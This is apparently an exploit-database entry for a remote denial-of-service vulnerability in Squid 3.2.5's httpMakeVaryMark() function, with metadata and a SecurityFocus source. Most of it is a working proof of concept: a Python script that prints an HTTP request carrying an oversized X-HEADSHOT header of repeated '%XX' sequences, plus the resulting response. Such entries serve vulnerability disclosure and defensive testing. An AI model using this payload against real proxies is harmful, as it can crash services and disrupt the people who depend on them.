Squid - 'httpMakeVaryMark()' Remote Denial of Service

Author: tytusromekiatomek
type: dos
platform: linux
port: 
date_added: 2013-03-05 
date_updated: 2015-09-30 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/58319/info

Squid is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to crash the application, resulting in denial-of-service conditions.

Squid 3.2.5 is vulnerable; other versions may also be affected.

Request
  -- cut --
  #!/usr/bin/env python
  print 'GET /index.html HTTP/1.1'
  print 'Host: localhost'
  print 'X-HEADSHOT: ' + '%XX' * 19000
  print '\r\n\r\n'
  -- cut --

  Response
  -- cut --
  HTTP/1.1 200 OK
  Vary: X-HEADSHOT
  -- cut --